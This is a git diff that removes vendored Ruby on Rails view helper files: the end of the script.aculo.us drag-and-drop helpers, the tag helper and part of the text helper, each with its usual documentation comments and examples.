-      def visual_effect(name, element_id = false, js_options = {})
-        element = element_id ? ActiveSupport::JSON.encode(element_id) : "element"
-        
-        js_options[:queue] = if js_options[:queue].is_a?(Hash)
-          '{' + js_options[:queue].map {|k, v| k == :limit ? "#{k}:#{v}" : "#{k}:'#{v}'" }.join(',') + '}'
-        elsif js_options[:queue]
-          "'#{js_options[:queue]}'"
-        end if js_options[:queue]
-        
-        [:endcolor, :direction, :startcolor, :scaleMode, :restorecolor].each do |option|
-          js_options[option] = "'#{js_options[option]}'" if js_options[option]
-        end
-
-        if TOGGLE_EFFECTS.include? name.to_sym
-          "Effect.toggle(#{element},'#{name.to_s.gsub(/^toggle_/,'')}',#{options_for_javascript(js_options)});"
-        else
-          "new Effect.#{name.to_s.camelize}(#{element},#{options_for_javascript(js_options)});"
-        end
-      end
-      
-      # Makes the element with the DOM ID specified by +element_id+ sortable
-      # by drag-and-drop and make an Ajax call whenever the sort order has
-      # changed. By default, the action called gets the serialized sortable
-      # element as parameters.
-      #
-      # Example:
-      #
-      #   <%= sortable_element("my_list", :url => { :action => "order" }) %>
-      #
-      # In the example, the action gets a "my_list" array parameter 
-      # containing the values of the ids of elements the sortable consists 
-      # of, in the current order.
-      #
-      # Important: For this to work, the sortable elements must have id
-      # attributes in the form "string_identifier". For example, "item_1". Only
-      # the identifier part of the id attribute will be serialized.
-      # 
-      # Additional +options+ are:
-      #
-      # * <tt>:format</tt> - A regular expression to determine what to send as the
-      #   serialized id to the server (the default is <tt>/^[^_]*_(.*)$/</tt>).
-      #                           
-      # * <tt>:constraint</tt> - Whether to constrain the dragging to either
-      #   <tt>:horizontal</tt> or <tt>:vertical</tt> (or false to make it unconstrained).
-      #                            
-      # * <tt>:overlap</tt> - Calculate the item overlap in the <tt>:horizontal</tt>
-      #   or <tt>:vertical</tt> direction.
-      #                            
-      # * <tt>:tag</tt> - Which children of the container element to treat as
-      #   sortable (default is <tt>li</tt>).
-      #                          
-      # * <tt>:containment</tt> - Takes an element or array of elements to treat as
-      #   potential drop targets (defaults to the original target element).
-      #                          
-      # * <tt>:only</tt> - A CSS class name or array of class names used to filter
-      #   out child elements as candidates.
-      #                          
-      # * <tt>:scroll</tt> - Determines whether to scroll the list during drag
-      #   operations if the list runs past the visual border.
-      #                          
-      # * <tt>:tree</tt> - Determines whether to treat nested lists as part of the
-      #   main sortable list. This means that you can create multi-layer lists,
-      #   and not only sort items at the same level, but drag and sort items
-      #   between levels.
-      #                          
-      # * <tt>:hoverclass</tt> - If set, the Droppable will have this additional CSS class
-      #   when an accepted Draggable is hovered over it.                         
-      #                          
-      # * <tt>:handle</tt> - Sets whether the element should only be draggable by an
-      #   embedded handle. The value may be a string referencing a CSS class value
-      #   (as of script.aculo.us V1.5). The first child/grandchild/etc. element
-      #   found within the element that has this CSS class value will be used as
-      #   the handle.
-      #                          
-      # * <tt>:ghosting</tt> - Clones the element and drags the clone, leaving
-      #   the original in place until the clone is dropped (default is <tt>false</tt>).
-      #                          
-      # * <tt>:dropOnEmpty</tt> - If true the Sortable container will be made into
-      #   a Droppable, that can receive a Draggable (as according to the containment
-      #   rules) as a child element when there are no more elements inside (default
-      #   is <tt>false</tt>).
-      #                          
-      # * <tt>:onChange</tt> - Called whenever the sort order changes while dragging. When
-      #   dragging from one Sortable to another, the callback is called once on each
-      #   Sortable. Gets the affected element as its parameter.
-      #                          
-      # * <tt>:onUpdate</tt> - Called when the drag ends and the Sortable's order is
-      #   changed in any way. When dragging from one Sortable to another, the callback
-      #   is called once on each Sortable. Gets the container as its parameter.
-      #                                                                                         
-      # See http://script.aculo.us for more documentation.
-      def sortable_element(element_id, options = {})
-        javascript_tag(sortable_element_js(element_id, options).chop!)
-      end
-      
-      def sortable_element_js(element_id, options = {}) #:nodoc:
-        options[:with]     ||= "Sortable.serialize(#{ActiveSupport::JSON.encode(element_id)})"
-        options[:onUpdate] ||= "function(){" + remote_function(options) + "}"
-        options.delete_if { |key, value| PrototypeHelper::AJAX_OPTIONS.include?(key) }
-  
-        [:tag, :overlap, :constraint, :handle].each do |option|
-          options[option] = "'#{options[option]}'" if options[option]
-        end
-  
-        options[:containment] = array_or_string_for_javascript(options[:containment]) if options[:containment]
-        options[:only] = array_or_string_for_javascript(options[:only]) if options[:only]
-  
-        %(Sortable.create(#{ActiveSupport::JSON.encode(element_id)}, #{options_for_javascript(options)});)
-      end
-
-      # Makes the element with the DOM ID specified by +element_id+ draggable.
-      #
-      # Example:
-      #   <%= draggable_element("my_image", :revert => true)
-      # 
-      # You can change the behaviour with various options, see
-      # http://script.aculo.us for more documentation.
-      def draggable_element(element_id, options = {})
-        javascript_tag(draggable_element_js(element_id, options).chop!)
-      end
-      
-      def draggable_element_js(element_id, options = {}) #:nodoc:
-        %(new Draggable(#{ActiveSupport::JSON.encode(element_id)}, #{options_for_javascript(options)});)
-      end
-
-      # Makes the element with the DOM ID specified by +element_id+ receive
-      # dropped draggable elements (created by +draggable_element+).
-      # and make an AJAX call. By default, the action called gets the DOM ID 
-      # of the element as parameter.
-      #
-      # Example:
-      #   <%= drop_receiving_element("my_cart", :url => 
-      #     { :controller => "cart", :action => "add" }) %>
-      #
-      # You can change the behaviour with various options, see
-      # http://script.aculo.us for more documentation.
-      #
-      # Some of these +options+ include:
-      # * <tt>:accept</tt> - Set this to a string or an array of strings describing the
-      #   allowable CSS classes that the +draggable_element+ must have in order 
-      #   to be accepted by this +drop_receiving_element+.
-      #                          
-      # * <tt>:confirm</tt> - Adds a confirmation dialog. Example:
-      #                     
-      #     :confirm => "Are you sure you want to do this?"
-      #                          
-      # * <tt>:hoverclass</tt> - If set, the +drop_receiving_element+ will have
-      #   this additional CSS class when an accepted +draggable_element+ is
-      #   hovered over it.                         
-      #                          
-      # * <tt>:onDrop</tt> - Called when a +draggable_element+ is dropped onto
-      #   this element. Override this callback with a JavaScript expression to 
-      #   change the default drop behaviour. Example:
-      #                          
-      #     :onDrop => "function(draggable_element, droppable_element, event) { alert('I like bananas') }"
-      #                          
-      #   This callback gets three parameters: The Draggable element, the Droppable
-      #   element and the Event object. You can extract additional information about
-      #   the drop - like if the Ctrl or Shift keys were pressed - from the Event object.
-      #                          
-      # * <tt>:with</tt> - A JavaScript expression specifying the parameters for
-      #   the XMLHttpRequest. Any expressions should return a valid URL query string.
-      def drop_receiving_element(element_id, options = {})
-        javascript_tag(drop_receiving_element_js(element_id, options).chop!)
-      end
-      
-      def drop_receiving_element_js(element_id, options = {}) #:nodoc:
-        options[:with]     ||= "'id=' + encodeURIComponent(element.id)"
-        options[:onDrop]   ||= "function(element){" + remote_function(options) + "}"
-        options.delete_if { |key, value| PrototypeHelper::AJAX_OPTIONS.include?(key) }
-
-        options[:accept] = array_or_string_for_javascript(options[:accept]) if options[:accept]    
-        options[:hoverclass] = "'#{options[:hoverclass]}'" if options[:hoverclass]
-        
-        # Confirmation happens during the onDrop callback, so it can be removed from the options
-        options.delete(:confirm) if options[:confirm]
-
-        %(Droppables.add(#{ActiveSupport::JSON.encode(element_id)}, #{options_for_javascript(options)});)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/tag_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/tag_helper.rb
deleted file mode 100644
index 6a3bc59b..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/tag_helper.rb
+++ /dev/null
@@ -1,151 +0,0 @@
-require 'active_support/multibyte'
-require 'active_support/core_ext/string/output_safety'
-require 'set'
-
-module ActionView
-  module Helpers #:nodoc:
-    # Provides methods to generate HTML tags programmatically when you can't use
-    # a Builder. By default, they output XHTML compliant tags.
-    module TagHelper
-      include ERB::Util
-
-      BOOLEAN_ATTRIBUTES = %w(disabled readonly multiple checked).to_set
-      BOOLEAN_ATTRIBUTES.merge(BOOLEAN_ATTRIBUTES.map(&:to_sym))
-
-      # Returns an empty HTML tag of type +name+ which by default is XHTML
-      # compliant. Set +open+ to true to create an open tag compatible
-      # with HTML 4.0 and below. Add HTML attributes by passing an attributes
-      # hash to +options+. Set +escape+ to false to disable attribute value
-      # escaping.
-      #
-      # ==== Options
-      # The +options+ hash is used with attributes with no value like (<tt>disabled</tt> and
-      # <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
-      # symbols or strings for the attribute names.
-      #
-      # ==== Examples
-      #   tag("br")
-      #   # => <br />
-      #
-      #   tag("br", nil, true)
-      #   # => <br>
-      #
-      #   tag("input", { :type => 'text', :disabled => true })
-      #   # => <input type="text" disabled="disabled" />
-      #
-      #   tag("img", { :src => "open & shut.png" })
-      #   # => <img src="open &amp; shut.png" />
-      #
-      #   tag("img", { :src => "open &amp; shut.png" }, false, false)
-      #   # => <img src="open &amp; shut.png" />
-      def tag(name, options = nil, open = false, escape = true)
-        "<#{name}#{tag_options(options, escape) if options}#{open ? ">" : " />"}".html_safe
-      end
-
-      # Returns an HTML block tag of type +name+ surrounding the +content+. Add
-      # HTML attributes by passing an attributes hash to +options+.
-      # Instead of passing the content as an argument, you can also use a block
-      # in which case, you pass your +options+ as the second parameter.
-      # Set escape to false to disable attribute value escaping.
-      #
-      # ==== Options
-      # The +options+ hash is used with attributes with no value like (<tt>disabled</tt> and
-      # <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
-      # symbols or strings for the attribute names.
-      #
-      # ==== Examples
-      #   content_tag(:p, "Hello world!")
-      #    # => <p>Hello world!</p>
-      #   content_tag(:div, content_tag(:p, "Hello world!"), :class => "strong")
-      #    # => <div class="strong"><p>Hello world!</p></div>
-      #   content_tag("select", options, :multiple => true)
-      #    # => <select multiple="multiple">...options...</select>
-      #
-      #   <% content_tag :div, :class => "strong" do -%>
-      #     Hello world!
-      #   <% end -%>
-      #    # => <div class="strong">Hello world!</div>
-      def content_tag(name, content_or_options_with_block = nil, options = nil, escape = true, &block)
-        if block_given?
-          options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
-          content_tag = content_tag_string(name, capture(&block), options, escape)
-
-          if block_called_from_erb?(block)
-            concat(content_tag)
-          else
-            content_tag
-          end
-        else
-          content_tag_string(name, content_or_options_with_block, options, escape)
-        end
-      end
-
-      # Returns a CDATA section with the given +content+.  CDATA sections
-      # are used to escape blocks of text containing characters which would
-      # otherwise be recognized as markup. CDATA sections begin with the string
-      # <tt><![CDATA[</tt> and end with (and may not contain) the string <tt>]]></tt>.
-      #
-      # ==== Examples
-      #   cdata_section("<hello world>")
-      #   # => <![CDATA[<hello world>]]>
-      #
-      #   cdata_section(File.read("hello_world.txt"))
-      #   # => <![CDATA[<hello from a text file]]>
-      def cdata_section(content)
-        "<![CDATA[#{content}]]>".html_safe
-      end
-
-      # Returns an escaped version of +html+ without affecting existing escaped entities.
-      #
-      # ==== Examples
-      #   escape_once("1 < 2 &amp; 3")
-      #   # => "1 &lt; 2 &amp; 3"
-      #
-      #   escape_once("&lt;&lt; Accept & Checkout")
-      #   # => "&lt;&lt; Accept &amp; Checkout"
-      def escape_once(html)
-        ActiveSupport::Multibyte.clean(html.to_s).gsub(/[\"><]|&(?!([a-zA-Z]+|(#\d+));)/) { |special| ERB::Util::HTML_ESCAPE[special] }
-      end
-
-      private
-        BLOCK_CALLED_FROM_ERB = 'defined? __in_erb_template'
-
-        if RUBY_VERSION < '1.9.0'
-          # Check whether we're called from an erb template.
-          # We'd return a string in any other case, but erb <%= ... %>
-          # can't take an <% end %> later on, so we have to use <% ... %>
-          # and implicitly concat.
-          def block_called_from_erb?(block)
-            block && eval(BLOCK_CALLED_FROM_ERB, block)
-          end
-        else
-          def block_called_from_erb?(block)
-            block && eval(BLOCK_CALLED_FROM_ERB, block.binding)
-          end
-        end
-
-        def content_tag_string(name, content, options, escape = true)
-          tag_options = tag_options(options, escape) if options
-          "<#{name}#{tag_options}>#{content}</#{name}>".html_safe
-        end
-
-        def tag_options(options, escape = true)
-          unless options.blank?
-            attrs = []
-            if escape
-              options.each_pair do |key, value|
-                if BOOLEAN_ATTRIBUTES.include?(key)
-                  attrs << %(#{key}="#{key}") if value
-                else
-                  attrs << %(#{key}="#{escape_once(value)}") if !value.nil?
-                end
-              end
-            else
-              attrs = options.map { |key, value| %(#{key}="#{value}") }
-            end
-            " #{attrs.sort * ' '}".html_safe unless attrs.empty?
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/text_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/text_helper.rb
deleted file mode 100644
index 532ae0bf..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/text_helper.rb
+++ /dev/null
@@ -1,597 +0,0 @@
-require 'action_view/helpers/tag_helper'
-
-module ActionView
-  module Helpers #:nodoc:
-    # The TextHelper module provides a set of methods for filtering, formatting
-    # and transforming strings, which can reduce the amount of inline Ruby code in
-    # your views. These helper methods extend ActionView making them callable
-    # within your template files.
-    module TextHelper
-      # The preferred method of outputting text in your views is to use the
-      # <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
-      # do not operate as expected in an eRuby code block. If you absolutely must
-      # output text within a non-output code block (i.e., <% %>), you can use the concat method.
-      #
-      # ==== Examples
-      #   <%
-      #       concat "hello"
-      #       # is the equivalent of <%= "hello" %>
-      #
-      #       if (logged_in == true):
-      #         concat "Logged in!"
-      #       else
-      #         concat link_to('login', :action => login)
-      #       end
-      #       # will either display "Logged in!" or a login link
-      #   %>
-      def concat(string, unused_binding = nil)
-        if unused_binding
-          ActiveSupport::Deprecation.warn("The binding argument of #concat is no longer needed.  Please remove it from your views and helpers.", caller)
-        end
-
-        output_buffer.safe_concat(string)
-      end
-
-      # Truncates a given +text+ after a given <tt>:length</tt> if +text+ is longer than <tt>:length</tt>
-      # (defaults to 30). The last characters will be replaced with the <tt>:omission</tt> (defaults to "...")
-      # for a total length not exceeding <tt>:length</tt>.
-      #
-      # ==== Examples
-      #
-      #   truncate("Once upon a time in a world far far away")
-      #   # => Once upon a time in a world...
-      #
-      #   truncate("Once upon a time in a world far far away", :length => 14)
-      #   # => Once upon a...
-      #
-      #   truncate("And they found that many people were sleeping better.", :length => 25, "(clipped)")
-      #   # => And they found t(clipped)
-      #
-      #   truncate("And they found that many people were sleeping better.", :omission => "... (continued)", :length => 25)
-      #   # => And they f... (continued)
-      #
-      # You can still use <tt>truncate</tt> with the old API that accepts the
-      # +length+ as its optional second and the +ellipsis+ as its
-      # optional third parameter:
-      #   truncate("Once upon a time in a world far far away", 14)
-      #   # => Once upon a...
-      #
-      #   truncate("And they found that many people were sleeping better.", 25, "... (continued)")
-      #   # => And they f... (continued)
-      def truncate(text, *args)
-        options = args.extract_options!
-        unless args.empty?
-          ActiveSupport::Deprecation.warn('truncate takes an option hash instead of separate ' +
-            'length and omission arguments', caller)
-
-          options[:length] = args[0] || 30
-          options[:omission] = args[1] || "..."
-        end
-        options.reverse_merge!(:length => 30, :omission => "...")
-
-        if text
-          l = options[:length] - options[:omission].mb_chars.length
-          chars = text.mb_chars
-          (chars.length > options[:length] ? chars[0...l] + options[:omission] : text).to_s
-        end
-      end
-
-      # Highlights one or more +phrases+ everywhere in +text+ by inserting it into
-      # a <tt>:highlighter</tt> string. The highlighter can be specialized by passing <tt>:highlighter</tt>
-      # as a single-quoted string with \1 where the phrase is to be inserted (defaults to
-      # '<strong class="highlight">\1</strong>')
-      #
-      # ==== Examples
-      #   highlight('You searched for: rails', 'rails')
-      #   # => You searched for: <strong class="highlight">rails</strong>
-      #
-      #   highlight('You searched for: ruby, rails, dhh', 'actionpack')
-      #   # => You searched for: ruby, rails, dhh
-      #
-      #   highlight('You searched for: rails', ['for', 'rails'], :highlighter => '<em>\1</em>')
-      #   # => You searched <em>for</em>: <em>rails</em>
-      #
-      #   highlight('You searched for: rails', 'rails', :highlighter => '<a href="search?q=\1">\1</a>')
-      #   # => You searched for: <a href="search?q=rails">rails</a>
-      #
-      # You can still use <tt>highlight</tt> with the old API that accepts the
-      # +highlighter+ as its optional third parameter:
-      #   highlight('You searched for: rails', 'rails', '<a href="search?q=\1">\1</a>')     # => You searched for: <a href="search?q=rails">rails</a>
-      def highlight(text, phrases, *args)
-        options = args.extract_options!
-        unless args.empty?
-          options[:highlighter] = args[0] || '<strong class="highlight">\1</strong>'
-        end
-        options.reverse_merge!(:highlighter => '<strong class="highlight">\1</strong>')
-
-        if text.blank? || phrases.blank?
-          text
-        else
-          match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')
-          text.gsub(/(#{match})(?!(?:[^<]*?)(?:["'])[^<>]*>)/i, options[:highlighter])
-        end
-      end
-
-      # Extracts an excerpt from +text+ that matches the first instance of +phrase+.
-      # The <tt>:radius</tt> option expands the excerpt on each side of the first occurrence of +phrase+ by the number of characters
-      # defined in <tt>:radius</tt> (which defaults to 100). If the excerpt radius overflows the beginning or end of the +text+,
-      # then the <tt>:omission</tt> option (which defaults to "...") will be prepended/appended accordingly. The resulting string
-      # will be stripped in any case. If the +phrase+ isn't found, nil is returned.
-      #
-      # ==== Examples
-      #   excerpt('This is an example', 'an', :radius => 5)
-      #   # => ...s is an exam...
-      #
-      #   excerpt('This is an example', 'is', :radius => 5)
-      #   # => This is a...
-      #
-      #   excerpt('This is an example', 'is')
-      #   # => This is an example
-      #
-      #   excerpt('This next thing is an example', 'ex', :radius => 2)
-      #   # => ...next...
-      #
-      #   excerpt('This is also an example', 'an', :radius => 8, :omission => '<chop> ')
-      #   # => <chop> is also an example
-      #
-      # You can still use <tt>excerpt</tt> with the old API that accepts the
-      # +radius+ as its optional third and the +ellipsis+ as its
-      # optional forth parameter:
-      #   excerpt('This is an example', 'an', 5)                   # => ...s is an exam...
-      #   excerpt('This is also an example', 'an', 8, '<chop> ')   # => <chop> is also an example
-      def excerpt(text, phrase, *args)
-        options = args.extract_options!
-        unless args.empty?
-          options[:radius] = args[0] || 100
-          options[:omission] = args[1] || "..."
-        end
-        options.reverse_merge!(:radius => 100, :omission => "...")
-
-        if text && phrase
-          phrase = Regexp.escape(phrase)
-
-          if found_pos = text.mb_chars =~ /(#{phrase})/i
-            start_pos = [ found_pos - options[:radius], 0 ].max
-            end_pos   = [ [ found_pos + phrase.mb_chars.length + options[:radius] - 1, 0].max, text.mb_chars.length ].min
-
-            prefix  = start_pos > 0 ? options[:omission] : ""
-            postfix = end_pos < text.mb_chars.length - 1 ? options[:omission] : ""
-
-            prefix + text.mb_chars[start_pos..end_pos].strip + postfix
-          else
-            nil
-          end
-        end
-      end
-
-      # Attempts to pluralize the +singular+ word unless +count+ is 1. If
-      # +plural+ is supplied, it will use that when count is > 1, otherwise
-      # it will use the Inflector to determine the plural form
-      #
-      # ==== Examples
-      #   pluralize(1, 'person')
-      #   # => 1 person
-      #
-      #   pluralize(2, 'person')
-      #   # => 2 people
-      #
-      #   pluralize(3, 'person', 'users')
-      #   # => 3 users
-      #
-      #   pluralize(0, 'person')
-      #   # => 0 people
-      def pluralize(count, singular, plural = nil)
-        "#{count || 0} " + ((count == 1 || count =~ /^1(\.0+)?$/) ? singular : (plural || singular.pluralize))
-      end
-
-      # Wraps the +text+ into lines no longer than +line_width+ width. This method
-      # breaks on the first whitespace character that does not exceed +line_width+
-      # (which is 80 by default).
-      #
-      # ==== Examples
-      #
-      #   word_wrap('Once upon a time')
-      #   # => Once upon a time
-      #
-      #   word_wrap('Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding a successor to the throne turned out to be more trouble than anyone could have imagined...')
-      #   # => Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\n a successor to the throne turned out to be more trouble than anyone could have\n imagined...
-      #
-      #   word_wrap('Once upon a time', :line_width => 8)
-      #   # => Once upon\na time
-      #
-      #   word_wrap('Once upon a time', :line_width => 1)
-      #   # => Once\nupon\na\ntime
-      #
-      # You can still use <tt>word_wrap</tt> with the old API that accepts the
-      # +line_width+ as its optional second parameter:
-      #   word_wrap('Once upon a time', 8)     # => Once upon\na time
-      def word_wrap(text, *args)
-        options = args.extract_options!
-        unless args.blank?
-          options[:line_width] = args[0] || 80
-        end
-        options.reverse_merge!(:line_width => 80)
-
-        text.split("\n").collect do |line|
-          line.length > options[:line_width] ? line.gsub(/(.{1,#{options[:line_width]}})(\s+|$)/, "\\1\n").strip : line
-        end * "\n"
-      end
-
-      # Returns the text with all the Textile[http://www.textism.com/tools/textile] codes turned into HTML tags.
-      #
-      # You can learn more about Textile's syntax at its website[http://www.textism.com/tools/textile].
-      # <i>This method is only available if RedCloth[http://whytheluckystiff.net/ruby/redcloth/]
-      # is available</i>.
-      #
-      # ==== Examples
-      #   textilize("*This is Textile!*  Rejoice!")
-      #   # => "<p><strong>This is Textile!</strong>  Rejoice!</p>"
-      #
-      #   textilize("I _love_ ROR(Ruby on Rails)!")
-      #   # => "<p>I <em>love</em> <acronym title="Ruby on Rails">ROR</acronym>!</p>"
-      #
-      #   textilize("h2. Textile makes markup -easy- simple!")
-      #   # => "<h2>Textile makes markup <del>easy</del> simple!</h2>"
-      #
-      #   textilize("Visit the Rails website "here":http://www.rubyonrails.org/.)
-      #   # => "<p>Visit the Rails website <a href="http://www.rubyonrails.org/">here</a>.</p>"
-      #
-      #   textilize("This is worded <strong>strongly</strong>")
-      #   # => "<p>This is worded <strong>strongly</strong></p>"
-      #
-      #   textilize("This is worded <strong>strongly</strong>", :filter_html)
-      #   # => "<p>This is worded &lt;strong&gt;strongly&lt;/strong&gt;</p>"
-      #
-      def textilize(text, *options)
-        options ||= [:hard_breaks]
-
-        if text.blank?
-          ""
-        else
-          textilized = RedCloth.new(text, options)
-          textilized.to_html
-        end
-      end
-
-      # Returns the text with all the Textile codes turned into HTML tags,
-      # but without the bounding <p> tag that RedCloth adds.
-      #
-      # You can learn more about Textile's syntax at its website[http://www.textism.com/tools/textile].
-      # <i>This method is requires RedCloth[http://whytheluckystiff.net/ruby/redcloth/]
-      # to be available</i>.
-      #
-      # ==== Examples
-      #   textilize_without_paragraph("*This is Textile!*  Rejoice!")
-      #   # => "<strong>This is Textile!</strong>  Rejoice!"
-      #
-      #   textilize_without_paragraph("I _love_ ROR(Ruby on Rails)!")
-      #   # => "I <em>love</em> <acronym title="Ruby on Rails">ROR</acronym>!"
-      #
-      #   textilize_without_paragraph("h2. Textile makes markup -easy- simple!")
-      #   # => "<h2>Textile makes markup <del>easy</del> simple!</h2>"
-      #
-      #   textilize_without_paragraph("Visit the Rails website "here":http://www.rubyonrails.org/.)
-      #   # => "Visit the Rails website <a href="http://www.rubyonrails.org/">here</a>."
-      def textilize_without_paragraph(text)
-        textiled = textilize(text)
-        if textiled[0..2] == "<p>" then textiled = textiled[3..-1] end
-        if textiled[-4..-1] == "</p>" then textiled = textiled[0..-5] end
-        return textiled
-      end
-
-      # Returns the text with all the Markdown codes turned into HTML tags.
-      # <i>This method requires BlueCloth[http://www.deveiate.org/projects/BlueCloth] or another
-      # Markdown library to be installed.</i>.
-      #
-      # ==== Examples
-      #   markdown("We are using __Markdown__ now!")
-      #   # => "<p>We are using <strong>Markdown</strong> now!</p>"
-      #
-      #   markdown("We like to _write_ `code`, not just _read_ it!")
-      #   # => "<p>We like to <em>write</em> <code>code</code>, not just <em>read</em> it!</p>"
-      #
-      #   markdown("The [Markdown website](http://daringfireball.net/projects/markdown/) has more information.")
-      #   # => "<p>The <a href="http://daringfireball.net/projects/markdown/">Markdown website</a>
-      #   #     has more information.</p>"
-      #
-      #   markdown('![The ROR logo](http://rubyonrails.com/images/rails.png "Ruby on Rails")')
-      #   # => '<p><img src="http://rubyonrails.com/images/rails.png" alt="The ROR logo" title="Ruby on Rails" /></p>'
-      def markdown(text)
-        text.blank? ? "" : Markdown.new(text).to_html
-      end
-
-      # Returns +text+ transformed into HTML using simple formatting rules.
-      # Two or more consecutive newlines(<tt>\n\n</tt>) are considered as a
-      # paragraph and wrapped in <tt><p></tt> tags. One newline (<tt>\n</tt>) is
-      # considered as a linebreak and a <tt><br /></tt> tag is appended. This
-      # method does not remove the newlines from the +text+.
-      #
-      # You can pass any HTML attributes into <tt>html_options</tt>.  These
-      # will be added to all created paragraphs.
-      # ==== Examples
-      #   my_text = "Here is some basic text...\n...with a line break."
-      #
-      #   simple_format(my_text)
-      #   # => "<p>Here is some basic text...\n<br />...with a line break.</p>"
-      #
-      #   more_text = "We want to put a paragraph...\n\n...right there."
-      #
-      #   simple_format(more_text)
-      #   # => "<p>We want to put a paragraph...</p>\n\n<p>...right there.</p>"
-      #
-      #   simple_format("Look ma! A class!", :class => 'description')
-      #   # => "<p class='description'>Look ma! A class!</p>"
-      def simple_format(text, html_options={})
-        start_tag = tag('p', html_options, true)
-        text = text.to_s.dup
-        text.gsub!(/\r\n?/, "\n")                    # \r\n and \r -> \n
-        text.gsub!(/\n\n+/, "</p>\n\n#{start_tag}")  # 2+ newline  -> paragraph
-        text.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') # 1 newline   -> br
-        text.insert 0, start_tag
-        text.html_safe.safe_concat("</p>")
-      end
-
-      # Turns all URLs and e-mail addresses into clickable links. The <tt>:link</tt> option
-      # will limit what should be linked. You can add HTML attributes to the links using
-      # <tt>:href_options</tt>. Possible values for <tt>:link</tt> are <tt>:all</tt> (default),
-      # <tt>:email_addresses</tt>, and <tt>:urls</tt>. If a block is given, each URL and
-      # e-mail address is yielded and the result is used as the link text.
-      #
-      # ==== Examples
-      #   auto_link("Go to http://www.rubyonrails.org and say hello to david@loudthinking.com")
-      #   # => "Go to <a href=\"http://www.rubyonrails.org\">http://www.rubyonrails.org</a> and
-      #   #     say hello to <a href=\"mailto:david@loudthinking.com\">david@loudthinking.com</a>"
-      #
-      #   auto_link("Visit http://www.loudthinking.com/ or e-mail david@loudthinking.com", :link => :urls)
-      #   # => "Visit <a href=\"http://www.loudthinking.com/\">http://www.loudthinking.com/</a>
-      #   #     or e-mail david@loudthinking.com"
-      #
-      #   auto_link("Visit http://www.loudthinking.com/ or e-mail david@loudthinking.com", :link => :email_addresses)
-      #   # => "Visit http://www.loudthinking.com/ or e-mail <a href=\"mailto:david@loudthinking.com\">david@loudthinking.com</a>"
-      #
-      #   post_body = "Welcome to my new blog at http://www.myblog.com/.  Please e-mail me at me@email.com."
-      #   auto_link(post_body, :href_options => { :target => '_blank' }) do |text|
-      #     truncate(text, 15)
-      #   end
-      #   # => "Welcome to my new blog at <a href=\"http://www.myblog.com/\" target=\"_blank\">http://www.m...</a>.
-      #         Please e-mail me at <a href=\"mailto:me@email.com\">me@email.com</a>."
-      #
-      #
-      # You can still use <tt>auto_link</tt> with the old API that accepts the
-      # +link+ as its optional second parameter and the +html_options+ hash
-      # as its optional third parameter:
-      #   post_body = "Welcome to my new blog at http://www.myblog.com/. Please e-mail me at me@email.com."
-      #   auto_link(post_body, :urls)     # => Once upon\na time
-      #   # => "Welcome to my new blog at <a href=\"http://www.myblog.com/\">http://www.myblog.com</a>.
-      #         Please e-mail me at me@email.com."
-      #
-      #   auto_link(post_body, :all, :target => "_blank")     # => Once upon\na time
-      #   # => "Welcome to my new blog at <a href=\"http://www.myblog.com/\" target=\"_blank\">http://www.myblog.com</a>.
-      #         Please e-mail me at <a href=\"mailto:me@email.com\">me@email.com</a>."
-      def auto_link(text, *args, &block)#link = :all, href_options = {}, &block)
-        return '' if text.blank?
-
-        options = args.size == 2 ? {} : args.extract_options! # this is necessary because the old auto_link API has a Hash as its last parameter
-        unless args.empty?
-          options[:link] = args[0] || :all
-          options[:html] = args[1] || {}
-        end
-        options.reverse_merge!(:link => :all, :html => {})
-
-        case options[:link].to_sym
-          when :all                         then auto_link_email_addresses(auto_link_urls(text, options[:html], &block), options[:html], &block)
-          when :email_addresses             then auto_link_email_addresses(text, options[:html], &block)
-          when :urls                        then auto_link_urls(text, options[:html], &block)
-        end
-      end
-
-      # Creates a Cycle object whose _to_s_ method cycles through elements of an
-      # array every time it is called. This can be used for example, to alternate
-      # classes for table rows.  You can use named cycles to allow nesting in loops.
-      # Passing a Hash as the last parameter with a <tt>:name</tt> key will create a
-      # named cycle. The default name for a cycle without a +:name+ key is
-      # <tt>"default"</tt>. You can manually reset a cycle by calling reset_cycle
-      # and passing the name of the cycle. The current cycle string can be obtained
-      # anytime using the current_cycle method.
-      #
-      # ==== Examples
-      #   # Alternate CSS classes for even and odd numbers...
-      #   @items = [1,2,3,4]
-      #   <table>
-      #   <% @items.each do |item| %>
-      #     <tr class="<%= cycle("even", "odd") -%>">
-      #       <td>item</td>
-      #     </tr>
-      #   <% end %>
-      #   </table>
-      #
-      #
-      #   # Cycle CSS classes for rows, and text colors for values within each row
-      #   @items = x = [{:first => 'Robert', :middle => 'Daniel', :last => 'James'},
-      #                {:first => 'Emily', :middle => 'Shannon', :maiden => 'Pike', :last => 'Hicks'},
-      #               {:first => 'June', :middle => 'Dae', :last => 'Jones'}]
-      #   <% @items.each do |item| %>
-      #     <tr class="<%= cycle("even", "odd", :name => "row_class") -%>">
-      #       <td>
-      #         <% item.values.each do |value| %>
-      #           <%# Create a named cycle "colors" %>
-      #           <span style="color:<%= cycle("red", "green", "blue", :name => "colors") -%>">
-      #             <%= value %>
-      #           </span>
-      #         <% end %>
-      #         <% reset_cycle("colors") %>
-      #       </td>
-      #    </tr>
-      #  <% end %>
-      def cycle(first_value, *values)
-        if (values.last.instance_of? Hash)
-          params = values.pop
-          name = params[:name]
-        else
-          name = "default"
-        end
-        values.unshift(first_value)
-
-        cycle = get_cycle(name)
-        if (cycle.nil? || cycle.values != values)
-          cycle = set_cycle(name, Cycle.new(*values))
-        end
-        return cycle.to_s
-      end
-
-      # Returns the current cycle string after a cycle has been started. Useful
-      # for complex table highlighing or any other design need which requires
-      # the current cycle string in more than one place.
-      #
-      # ==== Example
-      #   # Alternate background colors
-      #   @items = [1,2,3,4]
-      #   <% @items.each do |item| %>
